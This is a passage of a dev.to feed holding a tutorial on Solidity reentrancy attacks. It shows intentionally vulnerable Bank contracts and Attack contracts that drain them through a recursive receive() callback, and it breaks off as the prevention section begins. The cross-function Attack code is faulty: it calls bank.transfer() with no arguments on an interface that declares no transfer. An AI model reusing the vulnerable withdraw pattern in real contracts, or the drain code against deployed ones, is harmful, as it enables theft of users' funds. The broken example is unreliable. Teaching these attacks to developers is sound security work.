&lt;p&gt;Github repo: &lt;a href="https://github.com/peterblockman/cairo-sum-even"&gt;https://github.com/peterblockman/cairo-sum-even&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hope you enjoy the blog post. Thank you for taking the time to read.&lt;/p&gt;

</description>
      <category>cairolang</category>
      <category>starknet</category>
      <category>web3</category>
      <category>ethereum</category>
    </item>
    <item>
      <title>Smart contract security: an illustrated guide to Re-entrancy Attack</title>
      <dc:creator>Peter Blockman</dc:creator>
      <pubDate>Sun, 11 Sep 2022 17:04:33 +0000</pubDate>
      <link>https://dev.to/peterblockman/smart-contract-security-an-illustrated-guide-to-re-entrancy-attack-2f3p</link>
      <guid>https://dev.to/peterblockman/smart-contract-security-an-illustrated-guide-to-re-entrancy-attack-2f3p</guid>
      <description>&lt;h2&gt;
  
  
  Table of content
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Introduction&lt;/li&gt;
&lt;li&gt;
Types of reentrancy attack

&lt;ul&gt;
&lt;li&gt;Single function reentrancy attack&lt;/li&gt;
&lt;li&gt;Cross-function reentrancy attack&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;
How to prevent reentrancy attacks

&lt;ul&gt;
&lt;li&gt;Reentrancy guard&lt;/li&gt;
&lt;li&gt;Checks, Effects, Interactions&lt;/li&gt;
&lt;li&gt;PullPayment&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;On June 17, 2016, a hacker drained 3.6 million ETH from TheDao's smart contract. It was the notorious reentrancy attack that led to a hard fork of Ethereum which became Ethereum Classic (ETC). After the attack, developers were educated to prevent similar attacks, but it does not stop hackers from exploiting the vulnerability several times more. &lt;/p&gt;

&lt;p&gt;If you are a smart contract developer, it is important to understand reentrancy attack and how to prevent it. &lt;/p&gt;

&lt;h2&gt;
  
  
  Types of reentrancy attack
&lt;/h2&gt;

&lt;p&gt;There are two known types of reentrancy attacks: &lt;em&gt;single function&lt;/em&gt; and &lt;em&gt;cross-function reentrancy&lt;/em&gt;. In this article, we will stimulate them with two smart contracts: Bank and Attack.&lt;/p&gt;

&lt;h3&gt;
  
  
  Single function reentrancy attack
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Bank smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Bank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"Not enough balance"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Failed to transfer ETH"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Bank smart contract is pretty straightforward. We have a &lt;code&gt;balances&lt;/code&gt; mapping, a &lt;code&gt;deposit&lt;/code&gt; function, and a &lt;code&gt;withdraw&lt;/code&gt; function which we want to pay attention to. &lt;/p&gt;

&lt;p&gt;The withdraw function does 3 things. First, it checks if the user has deposited ETH. If yes, transfer the balance to the user's address. Finally, it set the user's balance to 0. Here is the diagram:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zTJV4NAW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662903118803/Qqbf-JyAs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zTJV4NAW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662903118803/Qqbf-JyAs.png" alt="reentrancy.png" width="880" height="1076"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Attack smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attack&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="n"&gt;bank_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bank_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

        &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;


    &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before explaining the Attack smart contract code, let's discuss the concept of the reentrancy attack. (For short, I will call the smart contracts Bank and Attack)&lt;/p&gt;

&lt;p&gt;Consider Bank calling Attack. If Attack can call Bank while Bank is still executing its call to Attack, reentrancy happens. This makes a loop that drains all Bank's funds. Let's look at the following diagram:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mMKAGi4r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662909996968/sSxwb69pN.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mMKAGi4r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662909996968/sSxwb69pN.png" alt="reentrancy-single-function.png" width="880" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reentrancy attack can be broken down into 3 steps:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Attack calls Bank's withdraw function. Bank contract transfer ETH to Attack after checking Attack's balance valid. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: Transfering ETH from Bank to Attack triggers Attack's receive function. If you are not familiar with receive Ether Function, read more about it &lt;a href="https://docs.soliditylang.org/en/v0.8.16/contracts.html?highlight=receive#receive-ether-function"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Attack's receive function calls Bank's withdraw function again while Bank is still executing its call at step 2. This means that &lt;code&gt;balances[msg.sender] = 0;&lt;/code&gt; doesn't get executed, so Bank keeps sending its ETH to Attack until there is no ETH anymore.&lt;/p&gt;

&lt;h3&gt;
  
  
  Cross-function reentrancy attack
&lt;/h3&gt;

&lt;p&gt;This type of reentrancy attack is achievable when a vulnerable function shares a state with another external function that performs what the hacker wants.  &lt;/p&gt;

&lt;h4&gt;
  
  
  Bank smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Bank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Not enough balance"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"failed to transfer ETH"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Attack smart contract
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attack&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IBank&lt;/span&gt; &lt;span class="n"&gt;bank_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bank_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deposit&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;}();&lt;/span&gt;
        &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="c1"&gt;// transfer to msg.sender balance of this contract
&lt;/span&gt;        &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;


    &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="n"&gt;bank&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Our Bank smart contract now has another function, &lt;code&gt;transfer&lt;/code&gt;. This function allows the user to transfer ETH from his balance to a recipient. The &lt;code&gt;withdraw&lt;/code&gt; function shares the mapping &lt;code&gt;balances&lt;/code&gt; state with the &lt;code&gt;transfer&lt;/code&gt; function which has &lt;/p&gt;

&lt;p&gt;Instead of recursively calling Bank's withdraw function, Attack calls the transfer function in its receive function. Because the line &lt;code&gt;balances[msg.sender] = 0;&lt;/code&gt; in Bank's withdraw function has not been reached before this call, the &lt;code&gt;transfer&lt;/code&gt; function keeps transferring ETH to the attacker's address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_sZjf7Mf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662910073022/iFTUnwk9d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_sZjf7Mf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.hashnode.com/res/hashnode/image/upload/v1662910073022/iFTUnwk9d.png" alt="reentrancy-cross-function.png" width="880" height="398"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent reentrancy attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Reentrancy guard
&lt;/h3&gt;

&lt;p&gt;Reentrancy guard or mutex places a lock on the smart contract state. Locking the state will prevent the attacker from calling withdraw or transfer function recursively.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
